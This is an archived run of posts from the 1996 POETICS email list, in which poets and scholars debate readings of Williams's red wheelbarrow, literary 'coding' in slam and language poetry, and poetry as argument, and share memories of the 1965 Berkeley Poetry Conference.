Damon said on another thread not too long ago, and it sure as sure doesn't exist "out there" somewhere, all us poor folks scrambling round to find out what it is so we don't get left out in the cold when gift-giving time comes round.

But of course, what I say is too simple anyway. Henry, or should I say Mike Boughn?, you opened up an inexhaustible can of worms.

This post may be a little heavy-duty I guess for the great delights I've seen in this thread so far, but I don't apologise for that.

Peter
+ +
Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

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320. David Benedetti
So much depends
Wed 21 Aug 1996

So many adult diapers
upon the red wheelbarrow

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321. Tenney Nathanson
one block over
Thu 22 Aug 1996

> *Date: Tue, 20 Aug 1996 23:44:34 -0700*
> *From: George Bowering <[redacted]>*
> *Subject: Re: red Indian barrow*
>
> *Besides it's obvious as a doctor, Williams, with that red and white,*
> *was really thinking about red and white blood corpuscles.*
>
> *Tony Green,*
>
> *No, no, no. You will remember back before you and I were born, barbers were*

> *also surgeons--hence the white and red barber's pole. Williams the doctor was thinking about getting a haircut, and came upon this poem. The barber always asked him how he wanted the sides, and you have seen pictures of WCW. He always said, "Oh, bare," which said backward is of course "barrow."*

someplace in the neighborhood of this thread belongs Kenneth Koch's story of doing a mini-residency somewhere, and attending a lecture, about his work, in which the professor carefully explicated "Permanently" to his students: the noun representing Christ, the adjective the Holy Ghost (or whatever); & etc.

others might have heard the story more recently and be able to tell it better.

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322. Tenney Nathanson
Tangents R Us
Thu 22 Aug 1996

Ron (S) wrote:

> *Duncan was the poetry consultant to the rare books collection there (which is how they got some of those great Spicer letter/newspapers, for example). The fellow who actually coordinated it, Richard Baker, old MBA grad out of Harvard, went on to become Richard Baker-roshi, head of the SF Zen Center for many years, now somewhere in the southwest I believe. I doubt he did much in the way of archival stuff -- that's not his way.*

does anyone actually know what SW spot Baker-roshi is actually in?

"just this this"

Tenney

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323. Tenney Nathanson
my cat Geoffrey
Thu 22 Aug 1996

Peter Q wrote:

> *1. I'm not at all persuaded that a poem is a "form of communication," -- or rather, I'm not at all sure what exactly "communication" might mean when it comes to poems --*

re which see a great essay, Hartman's "IA Richards and the Dream of Communication" (in /The Fate of Reading/? or /Beyond Formalism/?)

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324. **Michael Boughn**
Re: my cat Geoffrey
Thu 22 Aug 1996

> *Peter Q wrote:*
>
> *1. I'm not at all persuaded that a poem is a "form of communication," -- or rather, I'm not at all sure what exactly "communication" might mean when it comes to poems --*
>
> *re which see a great essay, Hartman's "IA Richards and the Dream of Communication" (in /The Fate of Reading/? or /Beyond Formalism/?)*

Yeah. It's in _The Fate of Reading_.

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325. **henry**
Re: Slams again; chicken in the classroom
Thu 22 Aug 1996

On Wed, 21 Aug 1996 13:11:13 -0800 filch said:
>
>The methodology of "this is what the poet is trying to say" and "this is
>the coding necessary to understand that poem" is disempowering to the
>reader and serves as the political springboard for rap / slam which has as
>its concern the destruction of this disempowerment. The case 'may' be
>accurately represented that once a child has gotten to the point where they
>are empowered with language and feeling 'in control' poetry is introduced
>in a manner which "disempowers" them by delegating control of the coding
>process to the authority figure of the teacher.

There's a lot of truth to this, but it also seems one-dimensional to read
the classroom simply as a power structure and poems as power codes.
It sets up a binary "dialectic", like beats & new critics,
that makes for easy academic readings after the fact ("codes"?), with
beats & new critics completely symbiotic (where would the beats be without
their establishment foils? where would slams be without high school
english class? etc.) I remember nothing more boring, depressing &
disempowering than 9th grade english teach asking, "Well, what's the poet
trying to say here?" But then again, there's always the option to
take him or her up on the call & "try" to figure it out.
>
>coding). It follows as well that rhyming and alliteration, etc. are the
>tools employed because it is absolutely necessary that the tools of the

>oppressor - subjugation, rhyme, alliteration et al. be used to defeat those
>who would disempower 'you'.

This is ironic because a lot of the "coding" in traditional poetry that is the most interesting is political coding, that "tries" to undermine specific political oppressors & social repressions. They who have ears to hear, let them hear (saith the preacher). - Henry Gould

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326. **Rachel Loden**
Re: Scandalous Olson at Berkeley?
Thu 22 Aug 1996

Tony Green wrote (in part):

> *Although it does not coincide with practices of quertzblatz poetry of the later 70s and 80s, which appeared to prefer constructed texts to improvisation, does this practice of Olson's (as I understood it) seem to be scandalous anymore? To whom was it scandalous in 1965?*

I don't know about scandalous, but I can say that it was extremely upsetting to Robert Duncan on that occasion--he left the reading.

Rachel Loden

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327. **henry**
Re: red Indian barrow
Thu 22 Aug 1996

On Thu, 22 Aug 1996 08:35:36 GMT+1200 Tony Green said:
>
> My business with this is
>the common problem in the arts,
>representation". What is the common
>understanding then of reading/writing,
>it is not moving through text?
>t is not surprising that the figure of a "writer"
> occurs to the reader
>as a centre for coherence of text, but the "writer"
> is limited to being a figure appearing to the reader.
> Isn't that so? Dr Williams cannot
>cure you of uncertainty as to the meaning of the text, I suppose.
>
>But isn't it also the case that the "reader" is also a similar

>"figure", not a single centered "I", rather something called into existence
>by the text. Coping with the text, or not, is, in that case, a matter
>of how effectively you can be the necessary kind of "reader" figure
>to read that text.

This all makes a lot of sense to me. I'm one on this list well-known for re-stating new critical truisms as though deconstruction etc. never happened. Master-oversimplificator. But in spite of uncertainty, I still tend to read poems on a basic level, as a practitioner. & as a practitioner I'm moving in certain directions, drawing on past methods & hangups & patterns, & adding new things, & I tend to read other poets the same way - & try to see what they're doing. Mandelstam writes about future literary studies as pursuing the "impulse" behind the text. Maybe that's part (only part) of what he's talking about. (It certainly isn't an autobiographical impulse he's referring to.) - Henry Gould

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328. **henry**
Re: red Indian barrow
Thu 22 Aug 1996

On Thu, 22 Aug 1996 08:53:07 GMT+1200 Tony Green said:
>
> The poetries that aim to set down language (thought?) as it occurs
>are not usually so concerned with words as terms in an argument.
>Trying to read them as if they were, and taking the prose of analytical
>argument and communication as standard and universal produces Henry's
>sense that WCW in red wheel things has cunningly compressed a lot of
>argumentation or argumentative thinking.
>
>Hi, Henry are you still there? best

Am I still here? Why, all of us from Zircon-12 never leave our e-posts. The fourth eyeball helps (replaceable). I don't see it as exactly hearing something, nor as compressed argument. More like weaving or architecture - a lot of strands that suddenly find conjunctions that hold each other up in an artful (pseudo-argumentative) way. - HG

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329. **henry**
Re: the well-read barrow yet again
Thu 22 Aug 1996

On Wed, 21 Aug 1996 15:00:38 -0700 Peter Quartermain said:
>At 03:27 PM 8/20/96 EDT, Henry wrote:

>
>I may have missed a few posts on this, since this, Henry, but I think your
>phrasing here sure opens a can of worms.

well, as Shakespeare tries to tell us, "a poem, forsooth - tis but a can of worms made of words."

> *Indian Barrow). A poem is a machine made of words, I thought. Perhaps in the sense of Hamlet, to Ophelia, "Yours, whilst this machine is to him, Hamlet."*

Machines can talk. Some even have feelings - just ask my typewriter.
>
>2. Ditto re "sealed in writing." This suggests, does it not, some sort of
>immutability to a "message" or "content" that the poem somehow, hmmm,
>"contains"? Or does "sealed" mean "hermetically" and therefore
>"inaccessibly" sealed?

Mandelstam: "I say again: I will liken the poem to an Egyptian ship of the dead, in which everything necessary for life is stored."

> *At the same time, though, my own response when I read the poem -- especially but not only for the first time -- may or may not have anything to do with the actual compositional circumstance and history of the poem: the words say what they say. The first time I read any Jabes, for instance, I had no idea AT ALL who he was, thought he was possibly Spanish or even Biblical. And that image of him still sticks, willynilly, when I think of him / his work.*

I agree with you. This is what I said in a post yesterday: there's the impulse of the poet, there's the free poem itself, there's what the reader brings to it.
>
>And what then is getting "communicated"? It seems to me that when Bruce
>Andrews writes, as a complete poem, "lost & found", he shows with great
>exactitude how what is "communicated" depends on the context of the
>hearer/reader as well as of the utterer/writer: meaning depends on context,

That's what makes the poet's job interesting. It's why s/he has to "try" so hard.
- HG

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330. Rachel Loden
Re: Berkeley 1965
Thu 22 Aug 1996

Libbie,

Ron was 18, I was 17 (and didn't know Ron, or anyone else; some things don't change). Since I had been wrapped up in the Don Allen anthology--to the point of having to hold it together with a rubber band--being in rooms with these people had me completely agog. In retrospect I can see that it was a bit of a childhood fantasy: watching a book come to life. Unfortunately, because I *was* 17, half the time I had no idea what I was seeing/hearing. Stuff I remember vividly (be warned that this will have the spotty quality of real memory):

Creeley and I believe Dorn in a small classroom, and Creeley commenting on the irony and perhaps pity of holding this event at the University of California (this in the context of the Free Speech Movement, of course).

Sitting right behind Bobbie Creeley in that small classroom. Why is this as available as yesterday? Perhaps because I was in a state of near-religious ecstasy...I mean, the actual Bobbie of _For Love_ (okay, you can laugh). Beatrice.

Duncan sweeping around in his cape. His extremely--eccentric--reading style. Walking from one place to another with the group, and noticing Robin Blaser's beauty.

Ted Berrigan reading. A revelation! (Went home and ordered a mimeo, I think, copy of _The Sonnets_, heartbreakingly eaten by insects on the island of Oahu circa 1977.)

Lenore Kandel reading, I think at the same event? In this case not so much the poetry, but the energy, the buzz from the breaking of language taboos. Probably also vivid because it is a woman speaking.

The Olson reading: mostly I can just see that commanding figure. I had no idea of the subtext, and remember being somewhat outraged by the audience. Duncan walked out (with others?). I took notes during all of this (and during the conference as a whole) but can only shudder to think what sort of notes I might have taken at 17. May be able to find these if I undertake an archaeological dig of my notebooks.

Watching Kenneth Anger movies. This can't have been part of the event proper, but I think a lot of poetry people were there.

And that's about it for the vivid stuff. I paid $45 at an office on Oxford St., I think, for all this--I know it was $45 because I still have my ticket (according to the ticket, which does specify "Berkeley Poetry Conference [Seminars] July 12-23, 1965," there was also a $25 option). I keep thinking that somebody might want to use this ticket if there's ever an exhibit on the conference. Let me know.

Rachel Loden

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331. Jordan Davis
"this is the coding necessary to understand that poem"
Thu 22 Aug 1996

I'm not prepared to accept this subject line as a baseline for the discussion of poetry. As Maria pointed out or quoted earlier (and I'm sure I'm bending the meaning) there is an aesthetic judgment in every judgment--and since we can read anything in terms of any category--for instance, the picture of a self we get from Bruce Andrews, society in Susan Howe, passion in Paul Muldoon--and I'm probably not prepared to accept someone else's we, either--since anything can be read in terms of any category, a reader, one has to decide whether to do the charitable thing and decode the categories the writer is choosing to work in, on, through, or whether to read the writer's work in contexts of one's own devising. This latter choice I take it leads to that hallucinatory wheelbarrow. Does it lead there necessarily? Or is there a set of critical selves one can bounce among that will occasionally push one into the bumpers of the writer's categories and then into the bonus targets of the world.

CODES AT WORK (PLAY?) HERE:
reading as pinball
wheelbarrow thread (dbc, gb, hg, tg, pq, md, cf, etc)
the "bruce problem"
"the brat guts aesthetic"
Critique of Judgment
Isenberg, Mothersill

Which is to say, you read, you have taste, a taste anyway, and you argue for it. One does. Does it preexist, does it develop, bleagh. Not the issue. The issue is that it is there, one participates in one's own taste, even when one rejects bland unexamined instances of other peoples' taste or 'sensibility'. So. One is open to evaluation on the terms of all categories at all times. That is, one is available to be read by anybody always already cough. One may wish to resist, to preserve the integrity of that reading through closing gestures, error, erasure, hermeticism, ironic cuteness/ugliness, but this may prove to be paranoia. What is at stake in any reading, what power is there, why am I for one struggling so much to achieve it/dismantle it. I suppose asking questions is the best way to centralize power. Was Kurt Cobain a practitioner of the New Sentence? Are you still reading. Is that a question it is important to ask? Shall we overpraise the present and be done with it. Am I grateful for the simultaneous expansion of vocabulary and relaxation of the sentence. Yes. I am grateful for the opportunity to use any word I hear in any sort of sentence I want to write. Am I even more grateful for the words I like best, and the opportunity not to finish my sentences. Yes I am even more grateful. Why. Because those give me more. That is, the cadence, the development of the cadence. Grr. Does one feel the urge to be

'compulsively readable'. Break it up. Does one feel the urge to ride a power mower. Oar hour. Does one have to include more or less than is expected. Does one have to include exactly as much as expected. Who is expecting? Blush. No, no news. But what if there were. Would it be verboten, aesthetically, intellectually? What part of the bandwidth permits that news its nonstatistical centrality. This does seem a live issue. I am not asking. Pause.

Jordan

Jordan Davis
46 E 7 # 10
NYC 10003
[redacted]

and moved to the burbs, where we eat wild blueberries every
night and shoot raccoons.
--Ange Mlinko

↑ Index

332. Jonathan A Levin
Re: Slams again; chicken in the classroom
Thu 22 Aug 1996

A few thoughts on coding:

1) Is rap really that transparent? I often find myself smiling at my ignorance as I listen to it. Coding doesn't strike me as uniquely a tool of power in that sense. Think, too, of the codedness of early Stein, about which Catherine Stimpson has written well.

2) Probably the experience that got me into this mess was "decoding" poems (and novels) in high school. I remember Kubla Khan in particular: we had a field day. Of course, I had a good teacher, and that makes all the difference. But the message was unmistakeably, there's more here than meets the eye. He--Mr. Moceri, for the record, aka Mr. Mo, of Parkway North Senior High, Creve Coeur, MO--had a way of just reading the poem aloud that nudged us to come to terms with what more might in fact be there.

So, framing my answer in good Jeopardy fashion, isn't there a difference between the impetus to decode (which, it seems to me, we have to do all the time, in life and in poems) and the spirit in which we go about our decoding (roughly, liberally or restrictively)?

Best to all--

Jonathan Levin

By the way: went to one slam about four or five years ago and had a wonderful time--it made more of an impression on me than most readings. Maggie Estep won (at the Nuyorican), deservedly. It was excellent theatre. I have to admit, I don't absorb poetry terribly well at readings, but I remember an astonishing amount of poetry from that night, including one introductory piece (out of competition) that began, roughly, The lions at the New York Public Library roar at me when I walk by them. Anybody know who/what that was? What was so striking was the way this relatively small guy (as I remember him, at least) let loose this, well, roar of words. I was convinced, immediately, that these folks were restoring something vital.

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333. **maria damon**
Re: Slams again; chicken in the classroom
Thu 22 Aug 1996

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jlevin writes:
> A few thoughts on coding:
>
> 1) Is rap really that transparent? I often find myself smiling at my
> ignorance as I listen to it. Coding doesn't strike me as uniquely a tool
> of power in that sense. Think, too, of the codedness of early Stein,
> about which Catherine Stimpson has written well.

i agree; rap is often delivered at a speed and with vernacular inflections that act as real defamiliarizations (for me anyway) of a language i usually think i know. and isn't "defamiliarization" an old r-formalist hobby horse characteristic of "literary"/poetic language? sometimes its messages appear to be straightforward expressions of anger (fuck tha police etc) but there's much more to it than that, lots of intertextuality (sampling) that presumes a deep insider knowledge etc... md

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334. **Gwyn McVay**
Chax e-mail?
Thu 22 Aug 1996

Hey poetics people,

Please indulge one who's been ill--can Charles Alexander still be reached at [redacted], or does he have a new e-address to go with his "real" address in spatial "reality"?

Gwyn McVay

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335. **Julia Stein**

Re: POETICS Digest - 20 Aug 1996 to 21 Aug 1996

Thu 22 Aug 1996

> Libbie asks re the 1965 Berkeley poetry conference,
 Perhaps there are people on the list who were there who would
>like to share their experiences?
>>
>I was at the Berkeley poetry conference as an eighteen year old. It was also
>my first poetry reading, first poetry conference, etc. It was right after I
>got arrested at Free Speech Movement in December so the spring had a certain
>magical feeling as the whole campus was changing. It seemed like the whole
>universe was changing quickly--a very wacky and wonderful feeling of the
>universe opening up.

The poetry conference fit right in. I remember the Ginsberg reading was packed. I mean packed. Ginsberg read this incredible poem about just being crowned king of May in Prague by the Czech students, then getting arrested by the Czech police, thrown onto to plane & thrown out of the country. He was yelling & angry & tremendous. His reading was part of the zeitgeist--here at Berkeley we students had stood up & gotten arrested. And in Czechoslovakia the Czech students had also stood up & had to face their police. Ginsberg's reading was a preview of coming attractions.

I also heard Lenore Kendale--she was the only woman poet I remember. I was fascinated to hear her read in a poem about washing dishes! Terrific. I hadn't read any woman poets before. Now here was a live woman poet! Inspring!

I heard Olsen read--is that what you meant by Olsen's speech? I didn't know who he was--just knew about the beats.He was a Big Man. He read & drank from a bottle of whiskey in one of the auditoriums. It was shocking and wonderful, as you weren't supposed to drink whiskey in a classroom. He kept on reading & drinking. He got drunk. We in the audience loved it. A little dean in a suit came in, to try to stop the reading. We in the audience were against him & with the Big Drunken Poet. The little dean (I called him a deanlet) went up the the Big Poet & tried to get him to stop. We in the audience booed. The little dean slunk away in deafeat. We in the audience felt: another victory for students! Olsen kept reading and drinking. It was a wonderful experience--oh yes, it fit right into the zeitgest. Bye, Julie

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336. **william marsh**
Re: argument
Thu 22 Aug 1996

> *The poetries that aim to set down language (thought?) as it occurs are not usually so concerned with words as terms in an argument. Trying to read them as if they were, and taking the prose of analytical argument and communication as standard and universal produces Henry's sense that WCW in red wheel things has cunningly compressed a lot of argumentation or argumentative thinking.*

Tony and others -- this particular strain (poetry and argument) has always interested me. I'm wondering to what extent a poem like WCW's (and much of his work) can be read as argumentative without relying on the standards of analytical argument and communication that otherwise might inform a reading. To disagree a bit, i find that many of the poetries that "aim to set down language (thought) as it occurs" are very much concerned with words as terms in an argument. But admittedly, the nature of the argument is a bit different, skewed from the conventional sense of how argumentative rhetoric works. I'm thinking of the work of Lyn Hejinian and bpNichol in particular (tho there are several other possible examples)--two strategies in writing that i would say approach language from an argumentative angle, Hejinian's through the logic (illogic) of association, Nichol's through paragrammatic play--but both "following a line" to suggest a point or several points (if not a neatly resolved conclusion). A good reading on my part leads to a place where i "get the argument," although i may not be able to trace its development via conventional modes (cause/effect, etc.). So i wonder how a statement like "all writing is argumentative" would be met and challenged. For me it would be helpful to expand the notion of argument to include more than just the Aristotelian variety.

bill marsh

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337. **Henry Gould**
Re: argument
Thu 22 Aug 1996

Interesting bk on this is Jonathan Kertzer, Poetic Argument McGill-Queens U. Press, 1988. though I think he takes narrower position than you (values poems that make some kind of real argument). (I could be wrong - read it a long time ago!)

also think of von Hallberg's book on Olson where he talks about 1st part of Maximus as in form of classical oration.
- Monk #12-b flat

↑ Index

338. Christina Fairbank Chirot
c/od-ing, hide in plain sight
Thu 22 Aug 1996

---

re: c/od-ing; Hide in plain sight

Not only do the words change meanings but meanings vary locally at the same time. A final glossary, there, cannot be made of words whose intentions are fugitive.

William S.Burroughs, Junkie

(Insofar as nobody loves my dashes anyway, I'll use regular punctuation for the new illiterate generation.)

Jack Kerouac, Vanity of Duluoz

Gertrude Stein wrote that on first seeing camouflaged tanks, Picasso said, It is we who made that.

There are many essays on the problem of determing what is rock art and what is simply natural formations and markings made by weather and chemical interactions among minerals.

Who runs may read
--Gertrue Stein

And read
where thou art
--Ronald Johnson
--dbchirot

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339. filch
Re: Slams again; chicken in the classroom
Thu 22 Aug 1996

I did not mean to imply that rap was transparent. Nor is slam poetry transparent. I was directly referring to the disparaging remarks earlier in this thread concerning "tacky rhymes" at slams as emblematic of the genre.

The coding of rap is an extremely interesting topic. I still believe it is distinctly different in intent than coding in langpo.

"act as real defamiliarizations (for me anyway) of a language i usually think i know." Very good point.

> *1) Is rap really that transparent? I often find myself smiling at my ignorance as I listen to it. Coding doesn't strike me as uniquely a tool of power in that sense. Think, too, of the codedness of early Stein, about which Catherine Stimpson has written well.*

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340. **Judy Roitman**

Re: argument

Thu 22 Aug 1996

Instead of "argumentative," how about "didactic"?

> *Tony and others -- this particular strain (poetry and argument) has always interested me. I'm wondering to what extent a poem like WCW's (and much of his work) can be read as argumentative without relying on the standards of analytical argument and communication that otherwise might inform a reading. To disagree a bit, i find that many of the poetries that "aim to set down language (thought) as it occurs" are very much concerned with words as terms in an argument. But admittedly, the nature of the argument is a bit different, skewed from the conventional sense of how argumentative rhetoric works. I'm thinking of the work of Lyn Hejinian and bpNichol in particular (tho there are several other possible examples)--two strategies in writing that i would say approach language from an argumentative angle, Hejinian's through the logic (illogic) of association, Nichol's through paragrammatic play--but both "following a line" to suggest a point or several points (if not a neatly resolved conclusion). A good reading on my part leads to a place where i "get the argument," although i may not be able to trace its development via conventional modes (cause/effect, etc.). So i wonder how a statement like "all writing is argumentative" would be met and challenged. For me it would be helpful to expand the notion of argument to include more than just the Aristotelian variety.*
>
> *bill marsh*

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

341. Joe Amato
Re: Slams again; chicken in the classroom
Thu 22 Aug 1996

yeah, that's just it---from one pov, it's ALL coded... one dominant gradient in our public discourses asks us to construe meaning-making as a process of en/decoding... part of this is a consequence (broadly) of information technologies... you've all heard this before---'the information is encoded, transmitted through a conduit, and emerges at the other end to be decoded'... but to say this is to recognize, as well, the specifically political dimension of communications apparatus... b/c the question, as a few folks have suggested, becomes a matter of who possesses the intelligence or counterintelligence cheat-sheet---who's doing the en/decoding?...

nevertheless, this is a powerful means of manipulating demographics, of transforming specific information into specific insider(-outsider) knowledges...

what it's all about, in more dystopic terms, is constructing audiences-markets predisposed to responding (or consuming) along certain coordinates---political speeches, cereal boxes, poems, what have you... i don't wish at all to naysay anybody's particular transgressive-resistance hobbyhorse---but so long as you play primarily to this latter grid, you're probably enjoying the interpretive fruits of a statistically-conceived reality the likes of which one sees at work in every nook and cranny of a vegas casino...

some of what comes out of such transactions *can* be of value, yes...

now, whether or how meaning is made is not necessarily the same thing as persuasion... but if you persuade folks to make meaning in accordance with an a=b rhetoric (-logic), it's likely their general response to the meaning process itself can eventually be controlled... that is, you persuade folks to accept thus & so *as* persuasion, however familiarizing or defamiliarizing...

it seems to me that, in general, the performative these days seems to be taken as itself (regardless *what's* said or acted or ____) a measure of persuasive validity... again: elizabeth dole may only have simulated a get-down-and-dirty-with-the-people talk, but it mattered little---the gesture itself, by stepping outside of standard performance criteria for convention speeches, rec'd goo-goo-eyed acclaim even by more experienced broadcast journalists...

which i trust won't be taken as an argument against persuasive poetics as such...

joe

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342. **Tony Green**
Re: argument
Thu 22 Aug 1996

---

re William Marsh on argumentation: yep, MORE than the Aristotelian variety, will do for a start. Or the Cartesian variety? Argument in Lucretius is a classic instance isn't it of an argumentational poetry? (or so I somewhat vaguely recall).

Tony Green,
e-mail: [redacted]

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343. **Tony Green**
Re: argument
Thu 22 Aug 1996

I like "didactic" in there as a possible alternative, Judy. Could you say some more? best

Tony Green,
e-mail: [redacted]

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344. **Peter Quartermain**
Re: argument
Thu 22 Aug 1996

At 10:15 AM 8/23/96 GMT+1200, Tony Green wrote

> *Argument in*
> *Lucretius is a classic instance isn't it of an argumentational*
> *poetry? (or so I somewhat vaguely recall).*

So's Samuel Daniel of slightly more recent date, in some of his (gasp!) sonnets.

Peter

+ + + +

345. Jordan Davis
that lions poet
Thu 22 Aug 1996

I think, Jonathan, you're thinking of Regie Cabeco, who does have a NY public library poem. The issue of conception/abortion of the anterior anteater at readings (Atrides) SOS an interesting one, and the cooing of the glam poets does E.T. some wrong ecco the haole incandescent chyme traduction. No, Beck takes that slack. No coding gets a strong get-go of Anbesol, let alone that erudition. But as Plato told us, Galway's mnemonic quicksand bellows to the world! Uh, no, he didn't. (The novel Coors there is a 'where's waldo' Sen Sen I had listing to Raster Man, when I was expecting -- who's expecting? -- to get the 'magic eye' of sensimilla -- which I don't cotton regularly, thank you, the farmer hearing John Godfrey read -- inert privilege of disparaging the ether of every 90s pop phenomenon (Subpop). I know it must have undead when Blank went solo, but your early albums were the best, man! (ma'am))!

Please, poets, no more jokes! And no more tricks! We know them and what they're wearing. Send in the new affects, soon!

Thank you.
Jordan Davis

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346. Wendy McClure
slams again; symbolic chicken in the classroom
Fri 23 Aug 1996

cf writes:
Rap / slam

has as one of its defining attributes an active hostility to the notion of

coding. The defining attribute is IMHO narrative and any poem which

subverts or too easily confuses the narrative thrust is suspect and falls

beyond the pale for the genre of rap / slam.

The methodology of "this is what the poet is trying to say" and "this is

the coding necessary to understand that poem" is disempowering to the

reader and serves as the political springboard for rap / slam which has as

its concern the destruction of this disempowerment. The case 'may' be

accurately represented that once a child has gotten to the point where they

are empowered with language and feeling 'in control' poetry is introduced

in a manner which "disempowers" them by delegating control of the coding process to the authority figure of the teacher.

Crude rhyming and inelegant wordplay are quite often the 'language' point used to support the 'political' point of empowerment and releasing of rage because this complex serves as antidote to the aforementioned methodology. The points of empowerment follow closely the narrative thrust because it is neccessary to show that "you understand what's going on" despite assurances from the teacher (poetry), politician (society), preacher (spirituality), that "you don't know what's going on" unless you are given the key (i.e. coding). It follows as well that rhyming and alliteration, etc. are the tools employed because it is absolutely necessary that the tools of the oppressor - subjugation, rhyme, alliteration et al. be used to defeat those who would disempower 'you'.

Given this reading, IMHO, it makes perfect sense why langpo is received with hostility within the genre / world view of rap / slam.

It does make sense. Though it's the subversion of narrative that's the appeal to teaching langpo et al in the first place --demanding more attention just to elements (and I mean elements: space and punctuation and alphabet, to name a few); introducing the concept of encountering a poem as just an experience of reading rather than extracting "meaning". I think you can pretty much carry over the same value to rap / slam for usefulness in emphasizing listening/voice over, say, speculating over what those damn chickens symbolize, etc, --esp. when students intuit (see WCW thread) and think they must, for the moment at least, adhere to a teacher's narrative (just another in a world of competing narratives). I've always hoped that showing students quote difficult poems unquote does a bit to mitigate the presence of that narrative when they figure out for themselves why the author is doing something that initially bothers them so much. I've seen the ones that do --they become terrific readers/listeners of just about anything and hence empowered; sometimes they remained bothered by the stuff, but in getting it on their own terms, not defeated.

best, wm

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347. **henry gould**

Re: Slams again; chicken in the classroom

Fri 23 Aug 1996

> *yeah, that's just it---from one pov, it's ALL coded... one dominant gradient in our public discourses asks us to construe meaning-making as a process of en/decoding... part of this is a consequence (broadly) of information technologies... you've all heard this before---'the information is encoded, transmitted through a conduit, and emerges at the other end to be decoded'... but to say this is to recognize, as well, the specifically political dimension of communications apparatus... b/c the question, as a few folks have suggested, becomes a matter of who possesses the intelligence or counterintelligence cheat-sheet---who's doing the en/decoding?...*

This seems like a good description of what poetry is NOT about. (I realize you're not saying it IS, Joe!) As I understand it, a poem is like a cognitive "solution" to a set of images/concepts/things-that-are-important-to-the-writer - a set which, without the poem, don't hold together, don't "make sense", are vague & disparate & inchoate & skemanderlous. And because that's so, the poem contains a measure of difficulty, equal to concision. What was that phrase of Pound's, something like dictare = condensare (to write is to condense?). And the invention/discovery aspect of the poem, it's newness, is also a discovery for the writer. It's super-coded; it's not a code manipulated & programmed for a particular use. It's not power OVER; it's verbal power per se. And verbal power has consequences in all directions, & can't be pigeon-holed by a particular socio-political theory. This is not to idealize or make the poem "clean" : look at Pound's conglomerations for example. But one can ask whether the poetry in Pound dominated by fixed ideas & stubborn assumptions is really new, really discovering anything. Pound is just one example. When a poem is ready to prove something by rhetoric rather than discovery, we start to "see through" it, it doesn't move much, it's dead. It's a speech, a code. Does this contradict what I wrote before about the poet trying to "communicate" something? Maybe not. The poem is what emerged from the impulse to communicate something; it's more than the impulse, but the impulse can't be discounted. (The urge to kill for a cause in Pound is an impulse; to kill for glory, for the right, for the epic.) But I think there's a disinterestedness in real poetry; not indifference, but a specific poetic energy that achieves something as-poem, in itself. - Henry G

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348. Judy Roitman
Re: argument
Fri 23 Aug 1996

> *I like "didactic" in there as a possible alternative, Judy. Could you say some more? best*
>
> *Tony Green,*
> *e-mail:* [redacted]

Briefly, sure.

Has to do with pointing towards truth, as opposed to worrying about methodology of establishing same. Or maybe its speaking from grounds of, rather than establishing. Not sure.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

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349. Julie Marie Schmid
Re: small presses
Fri 23 Aug 1996

Hi all--

I'm looking for anything and everything that has been written (articles, manifestos, personal musings on the subject, political motivations/goals behind the small press, economics, relationship between poetry "scene" and small press "scene," whatever) about small poetry presses, rationale for founding them, or anything written about self-publishing, and/or connections between small press publishing and Web page publishing. I would also be interested in hearing from anyone who has founded their own press or has published on small presses. If you'd like, you can backchannel to [redacted]

Thanks!

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350. **Libbie Rifkin**
Re: Berkeley 1965
Fri 23 Aug 1996

Thanks so much to Ron Silliman, Albert Glover, Rachel Loden and Julia Stein for your thoughts, reminiscences and research leads. I'm going to try to make it out to Berkeley in the next couple of months to listen to the tapes at the Bankroft, and to find out more about Robert Duncan's work as Poetry Consultant to the collection.

Thanks for your help!
Libbie

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351. **George Bowering**
Re: Berkeley 1965
Fri 23 Aug 1996

Libbie R.

As you seem to be at Cornell, you probably know that the Berkeley '65 poetry thing was the sequel to the Vancouver '63 poetry thing, and the precursor to the Buffalo '67 one, eh?

Lots of info about all of them at Special Collections, Simon Fraser University in Burnaby, B.C. Charles Watts the expert there.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"The BAZOOKA is only for my understanding."
--Tristan Tzara

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352. **George Bowering**
Re: POETICS Digest - 10 Aug 1...
Fri 23 Aug 1996

> *George Bowering added (the bit beginning "Oh yeah?"):*
>
> *To Charles Bernstein---*
>
> *Wondering how you are this late summer eve. Or summer's eve. Since I*

never
even look at the Digest except when the when turns into the then (so dumb,
forget it), am glad to see your CB. HOw does one say hello without talking to
the whole team? Hi team Ever, Ann!

I was wondering that too, Charles. I want to tell you how much you mean to
me, and especially how much I savor that weekend in the motel in Wyoming,
N.Y.

Not that I've forgotten our last blissful night at the Bide-A-Wee in
Peekskill, when stars fell into the Hudson and we were as pomo gods. Oh
Charles, how awful to have to say these things to you in front of the
hoi polloi. Hi hoi polloi! Ever your girl. P.S. Please send instruction
manual.

Charles, how could you!? You told me she was just an intelligent person you
had befriended for her quick mind! I am sending your jewelry back.

Some of us don't need trinkets to express the inexpressible, my dear
--what do you call yourself--Georgette? Some of us, on a summer's
eve, have the freedom of our own thoughts and need not surrender to
idle jealousies. Charles may do what he wishes with his heart; I
know I'll always have Peekskill, and my memories of the honeymoon
suite! P.S. Keep your baubles--you may need to hock them for a few
maple leaves.

Oh yeah? Well, Charles told me a VERY interesting story about you and a
certain Mister Joris, which I could never repeat in public. But REALLY, did
you have to go to Poughkeepsie for something like that?

Poughkeepsie! That sweet city with her dreaming spires...But no, I
think Charles must have me mixed up with Amy Fisher in her preteen,
pre-Buttafuoco days (Pierre's the only one who REALLY knows, and
HE at least is too much of a gentleman to say. Aren't you Pierre?).
I deal with all of this in my sonnet series "Snorkling the Lotus,"
for anyone who really wants to plumb the depths of those times. "The
past is a foreign country: they do things differently there." I
forgive you, Charles.

Rachel Loden

I was told personally by Ron Silliman that "Snorkling the Lotus" was about him! Oh, I get it; you tell all your conquests that the poem was about them. Well, some of us here in poetry-land think too much of our craft to employ it in amatory adventures. Some of us, such as I, live a life of the mind. What is Ron going to do when he finds out that you dalled with Pierre, and heaven knows how many others? Ron Silliman is a sensitive man. And he does not go around writing public poems about his affairs of the heart.

George Bowering.

"The BAZOOKA is only for my understanding."

--Tristan Tzara

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

